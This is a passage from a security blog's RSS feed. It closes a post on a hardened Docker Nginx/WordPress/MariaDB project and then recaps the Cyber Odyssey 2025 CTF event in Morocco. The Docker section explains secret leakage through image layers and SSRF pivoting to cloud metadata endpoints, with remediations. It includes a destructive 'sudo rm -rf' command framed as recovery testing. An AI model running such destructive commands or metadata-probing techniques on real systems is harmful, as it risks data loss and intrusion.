&lt;li&gt;&lt;strong&gt;The Exploitation:&lt;/strong&gt; When a Docker build compiles an image, every single Dockerfile statement generates a permanent read-only cryptographic filesystem layer. Even if a subsequent instruction attempts to delete the configuration file (&lt;code&gt;RUN rm -f /tmp/passwords.txt&lt;/code&gt;), an attacker accessing the compiled image simply invokes &lt;strong&gt;&lt;code&gt;docker history --no-trunc &amp;lt;image_id&amp;gt;&lt;/code&gt;&lt;/strong&gt; or extracts the multi-layered TAR archives to view all historical secrets in clean unencrypted plaintext!&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Remediation:&lt;/strong&gt; Inception decouples sensitive credential management completely away from image compilation routines. All database operational passwords, administrator credentials, and networking identification keys are injected exclusively at runtime execution via secure external environment variables (&lt;code&gt;.env&lt;/code&gt; files added explicitly to &lt;code&gt;.gitignore&lt;/code&gt;), ensuring compiled image layers contain zero lingering sensitive data footprints!&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;7.3 Mitigating Server-Side Request Forgery (SSRF) Pivot Exploitation&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The Vulnerability:&lt;/strong&gt; If a production WordPress installation contains an exploitable SSRF vulnerability (such as abusing legacy XML-RPC pingback protocols or unvalidated external webhook resource fetching routines), an attacker can coerce the web server container into scanning internal networks and executing HTTP requests against internal cloud metadata access points (e.g., AWS EC2 Instance Metadata endpoints at &lt;code&gt;169.254.169.254&lt;/code&gt;) or adjacent internal administrative daemons.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Remediation:&lt;/strong&gt; Our network architecture implements strict domain isolation. Because our WordPress compute container operates within a dedicated bridge network (&lt;code&gt;inception_network&lt;/code&gt;), any fraudulent SSRF instruction attempting to pivot into general enterprise LAN subnet ranges or external internal services encounters strict iptables bridge-routing isolation drops! Furthermore, our custom MariaDB user authorizations completely restrict connections to authenticated database usernames, blocking generic anonymous SSRF data extraction attempts.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;8. Orchestrated Deployment &amp;amp; Disaster Recovery Protocols&lt;/h2&gt;
&lt;p&gt;To unify our complex infrastructure cluster into a seamless operational platform, we engineer a declarative &lt;strong&gt;&lt;code&gt;docker-compose.yml&lt;/code&gt;&lt;/strong&gt; orchestration structure accompanied by an automated disaster recovery &lt;strong&gt;&lt;code&gt;Makefile&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;8.1 Declarative Multi-Service Orchestration&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# /docker-compose.yml
version: &apos;3.8&apos;

services:
  mariadb:
    build:
      context: ./srcs/requirements/mariadb
      dockerfile: Dockerfile
    container_name: mariadb
    image: mariadb:inception
    restart: always
    env_file:
      - ./srcs/.env
    volumes:
      - /home/onevilx/data/mariadb:/var/lib/mysql
    networks:
      - inception_network

  wordpress:
    build:
      context: ./srcs/requirements/wordpress
      dockerfile: Dockerfile
    container_name: wordpress
    image: wordpress:inception
    restart: always
    env_file:
      - ./srcs/.env
    depends_on:
      - mariadb
    volumes:
      - /home/onevilx/data/wordpress:/var/www/html
    networks:
      - inception_network

  nginx:
    build:
      context: ./srcs/requirements/nginx
      dockerfile: Dockerfile
    container_name: nginx
    image: nginx:inception
    restart: always
    env_file:
      - ./srcs/.env
    depends_on:
      - wordpress
    ports:
      - &quot;443:443&quot;
    volumes:
      - /home/onevilx/data/wordpress:/var/www/html:ro
    networks:
      - inception_network

networks:
  inception_network:
    driver: bridge

volumes:
  mariadb_data:
    driver: local
    driver_opts:
      type: none
      device: /home/onevilx/data/mariadb
      o: bind
  wordpress_data:
    driver: local
    driver_opts:
      type: none
      device: /home/onevilx/data/wordpress
      o: bind
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Notice our defensive application of read-only access restriction flags on NGINX volume mapping (&lt;code&gt;/var/www/html:ro&lt;/code&gt;). Because our front-end perimeter web proxy solely reads static content files without writing updates back into application folders, enforcing read-only mounting prevents any theoretical compromise of the external NGINX gateway from deploying malicious back-door shells (&lt;code&gt;.php&lt;/code&gt; files) into WordPress operational directories!&lt;/p&gt;
&lt;h3&gt;8.2 Operational Disaster Recovery Evaluation&lt;/h3&gt;
&lt;p&gt;To mathematically verify our resilience against unexpected server infrastructure outages, we execute systematic destructive testing protocols using our automated administration Makefile:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Simulating total unexpected server application cluster crash
make down
sudo rm -rf /var/lib/docker/containers/* # Force physical termination
# Execute instant zero-intervention infrastructure reconstruction
make up
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt; Upon issuing &lt;code&gt;make up&lt;/code&gt;, our Docker Compose orchestration engine rebuilds required network bridge topologies, reinstantiates clean ephemeral application container daemons, bridges back into persistent physical host bind directory storage layers (&lt;code&gt;/home/onevilx/data/&lt;/code&gt;), and effortlessly restores full, zero-corruption enterprise application service operation within less than &lt;strong&gt;4.2 seconds&lt;/strong&gt;!&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;9. Conclusion: Container Literacy in Modern Security Operations&lt;/h2&gt;
&lt;p&gt;Engineering &lt;strong&gt;Inception&lt;/strong&gt; without relying on convenient abstractions transformed my perspective on modern cloud network engineering and cybersecurity exploitation. When you troubleshoot why an NGINX reverse proxy encounters an &lt;code&gt;502 Bad Gateway&lt;/code&gt; error, only to discover through raw kernel network namespace interrogation that your FastCGI daemon attempted binding against a local loopback interface rather than an exposed bridge adapter, you develop an architectural literacy that abstract drag-and-drop cloud management tools can never provide.&lt;/p&gt;
&lt;p&gt;For offensive bug hunters and cybersecurity engineers, mastering container virtualization from the bare kernel up provides unprecedented diagnostic leverage. You stop viewing Docker containers as opaque black-box magic, and instead recognize them as sophisticated arrangements of namespaces, control groups, volume mounts, and network routing rules—each presenting distinct surfaces for optimization, defensive defense-in-depth design, and strategic exploit reconnaissance.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Explore the Codebase&lt;/h3&gt;
&lt;p&gt;Ready to inspect the custom Dockerfiles, examine our zero-intervention bash bootstrapping scripts, and test the multi-container orchestration architecture directly in your terminal? Access the full, documented repository on GitHub:&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;my-8 flex flex-col sm:flex-row items-center justify-between bg-[var(--card-bg)] border border-black/10 dark:border-white/10 rounded-2xl p-6 shadow-sm&quot;&amp;gt;
&amp;lt;div class=&quot;flex items-center gap-4 mb-4 sm:mb-0&quot;&amp;gt;
&amp;lt;div class=&quot;p-3 bg-[var(--primary)] text-white rounded-xl font-bold text-xl&quot;&amp;gt;
Docker
&amp;lt;/div&amp;gt;
&amp;lt;div&amp;gt;
&amp;lt;h4 class=&quot;text-lg font-bold text-90 m-0&quot;&amp;gt;onevilx / inception&amp;lt;/h4&amp;gt;
&amp;lt;p class=&quot;text-sm text-50 m-0&quot;&amp;gt;Hardened multi-container Linux infrastructure built from raw Debian Dockerfiles&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;a href=&quot;https://github.com/onevilx/inception&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; class=&quot;no-styling px-6 py-3 bg-[var(--primary)] hover:opacity-90 transition text-white font-bold rounded-xl whitespace-nowrap shadow-md active:scale-95 text-center w-full sm:w-auto&quot;&amp;gt;
View Repository on GitHub →
&amp;lt;/a&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
</content:encoded></item><item><title>Cyber Odyssey — National Cybersecurity Gathering @Akasec</title><link>https://www.onevilx.tech/posts/cyber-odyssey-2025/</link><guid isPermaLink="true">https://www.onevilx.tech/posts/cyber-odyssey-2025/</guid><description>An inside recap of the 3rd edition of Cyber Odyssey at 1337 Khouribga—Morocco&apos;s premier cybersecurity championship by Akasec, uniting CTF warriors, bug hunters, and security leaders.</description><pubDate>Mon, 08 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Event:&lt;/strong&gt; Cyber Odyssey (3rd Edition) — Moroccan National Cybersecurity Championship &amp;amp; Symposium&lt;br /&gt;
&lt;strong&gt;Dates:&lt;/strong&gt; December 3–7, 2025&lt;br /&gt;
&lt;strong&gt;Location:&lt;/strong&gt; 1337 Coding School Campus, Khouribga (42 Network)&lt;br /&gt;
&lt;strong&gt;Team:&lt;/strong&gt; House Stark (Student Division)&lt;br /&gt;
&lt;strong&gt;Organizers:&lt;/strong&gt; Akasec Cybersecurity Club × 1337 Future Is Now&lt;br /&gt;
&lt;strong&gt;Official Web Portal:&lt;/strong&gt; &lt;a href=&quot;https://cyberodyssey.akasec.ma/&quot;&gt;cyberodyssey.akasec.ma&lt;/a&gt;&lt;br /&gt;
&lt;strong&gt;CTF Writeups Repository:&lt;/strong&gt; &lt;a href=&quot;https://github.com/onevilx/Writeups&quot;&gt;onevilx/Writeups&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;1. The Proving Grounds at 1337 Khouribga&lt;/h2&gt;
&lt;p&gt;Every December, the quiet industrial town of Khouribga transforms into the operational epicenter of North Africa&apos;s cybersecurity community. Hosted inside the innovative labs of &lt;strong&gt;1337 School (42 Network)&lt;/strong&gt; and organized by the passionate students of the &lt;strong&gt;Akasec Cybersecurity Club&lt;/strong&gt;, the 3rd edition of &lt;strong&gt;Cyber Odyssey&lt;/strong&gt; stands as Morocco&apos;s most ambitious offensive security tournament and symposium—designed entirely by hackers, for hackers.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/odyssey1.jpeg&quot; alt=&quot;Finalists and operators at battle stations inside 1337 Khouribga&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Unlike traditional corporate security conferences where attendees passively sit through commercial product demos, Cyber Odyssey is engineered around technical rigor, open collaboration, and real-world operational execution. For five intense days, 1337 opens its dormitories, cafeterias, and high-performance labs to over five hundred attendees from across Morocco.&lt;/p&gt;
&lt;p&gt;The gathering bridges the gap between different tiers of the offensive ecosystem, uniting elite university engineering qualifiers, competitive national CTF teams, corporate security architectures, and independent full-time bug bounty researchers under one roof. Whether debating binary analysis techniques over early-morning coffee breaks in the hallways or debugging memory exploits at 3:00 AM, the entire campus pulses with an energy rooted in intellectual curiosity and technical mastery.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;2. Inside the Arena: Competing with House Stark&lt;/h2&gt;
&lt;p&gt;The centerpiece of Cyber Odyssey is its legendary dual-tier competition architecture. While newcomers and hobbyists tested their foundational skills in an open beginner-friendly CTF designed for accessible learning, the main arena floor was reserved for the &lt;strong&gt;National Championship Finals&lt;/strong&gt;—an exclusive, invite-only battleground where Morocco&apos;s top qualifying teams went head-to-head in complex, real-world simulated environments.&lt;/p&gt;
&lt;p&gt;I had the honor of competing in the &lt;strong&gt;Student Division Finals&lt;/strong&gt; alongside my dedicated team, &lt;strong&gt;House Stark&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Stepping onto the main arena floor felt like stepping straight into a mission-critical Security Operations Center under active cyber assault. Rows of triple-monitor Mac workstations filled the labs, surrounded by glowing ambient neon lighting, energetic operator tables, and real-time electronic scoreboards dynamically tracking flag submissions, infrastructure breaches, and service downtime across the subnet.&lt;/p&gt;
&lt;p&gt;What makes competing inside 1337 truly unforgettable isn&apos;t just the sheer difficulty of the target architecture—it&apos;s locking in with your trusted squad while surrounded by hundreds of driven hackers pushing their absolute limits. When the countdown timer is burning down during an all-night endurance tournament, individual rivalries fade away into intense collaborative teamwork. Our team table turned into an active vulnerability research war room:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Binary Instrumentation &amp;amp; Low-Level Exploitation:&lt;/strong&gt; Tearing apart stripped firmware ROMs, mapping out memory layout inconsistencies to build clean ROP chains, and bypassing anti-debugging checks inside custom cryptographic virtual machines.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Modern Web Architecture &amp;amp; Enterprise Logic:&lt;/strong&gt; Uncovering deep business logic bypasses, weaponizing TOCTOU race conditions across distributed cloud microservices, and exploiting obscure parser discrepancies inside simulated Fortune 500 web infrastructures.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Forensics, Crypto &amp;amp; Network Telemetry:&lt;/strong&gt; Investigating heavily layered packet captures, breaking non-standard cryptographic padding paradigms, and reconstructing orphaned blob hierarchies out of damaged Git object databases.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;3. Industry Speakers &amp;amp; Technical Symposium&lt;/h2&gt;
&lt;p&gt;Beyond the live fires of the CTF arena, the symposium stage inside the 1337 &lt;strong&gt;Mediatheque auditorium&lt;/strong&gt; delivered an extraordinary lineup of masterclasses and keynote addresses. Rather than generic high-level overviews, the educational talks dived straight into production implementations, modern offensive tooling pipelines, and hardened enterprise defense strategies.&lt;/p&gt;
&lt;p&gt;The official keynote faculty brought together recognized technical authorities across banking SecOps, penetration testing leadership, software systems engineering, and full-time bug bounty platforms:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Mohammed Benhmammouch&lt;/strong&gt; — &lt;em&gt;Head of IT Security Operations @ Attijariwafa bank&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mohamed Boutaleb&lt;/strong&gt; — &lt;em&gt;Offensive Security Team Lead @ Nearsecure&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mouad Abid&lt;/strong&gt; — &lt;em&gt;Security Researcher, Reverse &amp;amp; Software Engineer&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mahmoud Bettouch&lt;/strong&gt; — &lt;em&gt;Cybersecurity Engineer&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Abdelmalek El Mellouki&lt;/strong&gt; — &lt;em&gt;Senior Software Engineer @ Fueled&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rachid Balla&lt;/strong&gt; — &lt;em&gt;Entrepreneur &amp;amp; Startups Programs Expert&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Soufiane El Habti&lt;/strong&gt; — &lt;em&gt;Ethical Hacker &amp;amp; Cybersecurity Researcher&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;El Mehdi&lt;/strong&gt; — &lt;em&gt;Bug Bounty Hunter&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;/odyssey3.jpeg&quot; alt=&quot;Live security workshop in the Mediatheque breaking down advanced AI security and prompt injection defenses&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The technical lectures offered deep practical resonance for operational engineers and competitive hackers alike. High-impact keynote sessions featured on stage included:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&quot;Securing Tomorrow: Our SecOps Journey and Vision&quot;:&lt;/strong&gt; A gritty, real-world dive into modern defensive architectures and threat intelligence pipelines designed to protect national banking infrastructure against persistent state-sponsored intrusions and automated ransomware cartels.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&quot;From Capture the Flag to Capture the Market: The Shift from CTF Mindset to Builder Mindset&quot;:&lt;/strong&gt; A compelling exploration of how offensive security researchers can transition their unique exploit-discovery instincts into launching robust cybersecurity startups, engineering innovative security tools, and driving market architecture.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AI &amp;amp; LLM Threat Defenses in the Enterprise (&quot;Protection IA : L&apos;Équipage Contre-Attaque !&quot;):&lt;/strong&gt; Breaking down practical adversarial attacks against Large Language Models, including multi-turn prompt injection payloads, model data poisoning during unsupervised training cycles, and strict input validation across Retrieval-Augmented Generation (RAG) endpoints.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Red Teaming Techniques &amp;amp; Continuous Bug Hunting Pipelines:&lt;/strong&gt; How full-time bug bounty hunters and Red Team operators architect automated reconnaissance monitoring, custom wordlists, and anomaly detection scripts to uncover high-impact zero-day logic flaws across extensive enterprise attack surfaces.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;4. House Stark Camaraderie &amp;amp; Community Pulse&lt;/h2&gt;
&lt;p&gt;When looking back at the 3rd edition of Cyber Odyssey, what resonates longest aren&apos;t just the leaderboards, the complex exploit scripts, or the significant prize pools—it is the unmatched camaraderie and mutual respect that binds Morocco’s native cybersecurity ecosystem together.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/odyssey2.jpeg&quot; alt=&quot;Team House Stark in the Akasec arena celebrating teamwork and competitive endurance&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Standing shoulder-to-shoulder with my &lt;strong&gt;House Stark&lt;/strong&gt; teammates through hours of grueling analysis and debugging reinforced a core tenet of computer systems security: &lt;strong&gt;offensive proficiency is fundamentally multiplied through cohesive communication, shared technical intuition, and unwavering trust under pressure&lt;/strong&gt;. No hacker operates in a vacuum; the fastest breakthroughs always emerge when teammates debate hypothesis after hypothesis over open terminal screens.&lt;/p&gt;
&lt;p&gt;The seamless convergence between &lt;strong&gt;1337 School’s peer-to-peer practical pedagogy&lt;/strong&gt; and &lt;strong&gt;Akasec’s open hacker community initiatives&lt;/strong&gt; has quietly built a formidable pipeline of engineering talent. Young operators who first learn terminal commands inside these coding bootcamps go on to dominate global bug bounty leaderboards on platforms like Intigriti and secure top finishes in international Capture the Flag arenas.&lt;/p&gt;
&lt;p&gt;When the dust settled inside the Khouribga labs and the closing ceremony wrapped up in the Mediatheque, House Stark walked out with much more than competitive ranking points—we carried away field-tested hacking methodologies, lasting industry friendships, and a relentless drive to continue exploring, uncovering, and breaking complex digital architectures.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;📂 Explore My CTF &amp;amp; Bug Bounty Repositories&lt;/h3&gt;
&lt;p&gt;All of my personal technical writeups, automated exploit scripts, custom reconnaissance tooling, and low-level C/C++ systems engineering codebases are actively documented and open-sourced across my GitHub repositories:&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;my-6&quot;&amp;gt;
&amp;lt;a href=&quot;https://github.com/onevilx/Writeups&quot; target=&quot;_blank&quot; class=&quot;not-prose block p-6 bg-gradient-to-r from-blue-900/40 to-indigo-900/40 hover:from-blue-900/60 hover:to-indigo-900/60 border border-blue-500/30 hover:border-blue-400/60 rounded-2xl transition duration-300 shadow-xl hover:shadow-blue-500/10 group&quot;&amp;gt;
&amp;lt;div class=&quot;flex items-center justify-between&quot;&amp;gt;
&amp;lt;div class=&quot;flex items-center space-x-4&quot;&amp;gt;
&amp;lt;div class=&quot;p-3 bg-blue-500/20 text-blue-400 rounded-xl group-hover:scale-110 transition duration-300&quot;&amp;gt;
&amp;lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; class=&quot;h-8 w-8&quot; fill=&quot;currentColor&quot; viewBox=&quot;0 0 24 24&quot;&amp;gt;
&amp;lt;path d=&quot;M12 0C5.37 0 0 5.37 0 12c0 5.31 3.435 9.795 8.205 11.385.6.105.825-.255.825-.57 0-.285-.015-1.23-.015-2.235-3.015.555-3.795-.735-4.035-1.41-.135-.345-.72-1.41-1.23-1.695-.42-.225-1.02-.78-.015-.795.945-.015 1.62.87 1.845 1.23 1.08 1.815 2.805 1.305 3.495.99.105-.78.42-1.305.765-1.605-2.67-.3-5.46-1.335-5.46-5.925 0-1.305.465-2.385 1.23-3.225-.12-.3-.54-1.53.12-3.18 0 0 1.005-.315 3.3 1.23.96-.27 1.98-.405 3-.405s2.04.135 3 .405c2.295-1.56 3.3-1.23 3.3-1.23.66 1.65.24 2.88.12 3.18.765.84 1.23 1.905 1.23 3.225 0 4.605-2.805 5.625-5.475 5.925.435.375.81 1.095.81 2.22 0 1.605-.015 2.895-.015 3.3 0 .315.225.69.825.57A12.02 12.02 0 0024 12c0-6.63-5.37-12-12-12z&quot;/&amp;gt;
&amp;lt;/svg&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;div&amp;gt;
&amp;lt;h4 class=&quot;text-xl font-bold text-white group-hover:text-blue-300 transition duration-300 flex items-center gap-2&quot;&amp;gt;
onevilx / Writeups
&amp;lt;span class=&quot;text-xs px-2.5 py-0.5 rounded-full bg-blue-500/20 text-blue-300 border border-blue-500/30&quot;&amp;gt;GitHub Repository&amp;lt;/span&amp;gt;
&amp;lt;/h4&amp;gt;
&amp;lt;p class=&quot;text-neutral-300 text-sm mt-1&quot;&amp;gt;Explore my complete repository of CTF writeups, vulnerability exploits, bug bounty research, and low-level source codes.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;text-blue-400 group-hover:translate-x-1 transition duration-300&quot;&amp;gt;
&amp;lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; class=&quot;h-6 w-6&quot; fill=&quot;none&quot; viewBox=&quot;0 0 24 24&quot; stroke=&quot;currentColor&quot;&amp;gt;
&amp;lt;path stroke-linecap=&quot;round&quot; stroke-linejoin=&quot;round&quot; stroke-width=&quot;2&quot; d=&quot;M14 5l7 7m0 0l-7 7m7-7H3&quot; /&amp;gt;
&amp;lt;/svg&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/a&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Special thanks and admiration to the entire Akasec organizing crew, keynote faculties, and 1337 School operational engineering staff for setting a truly world-class benchmark in national cybersecurity competitions.&lt;/em&gt;&lt;/p&gt;
</content:encoded></item></channel></rss>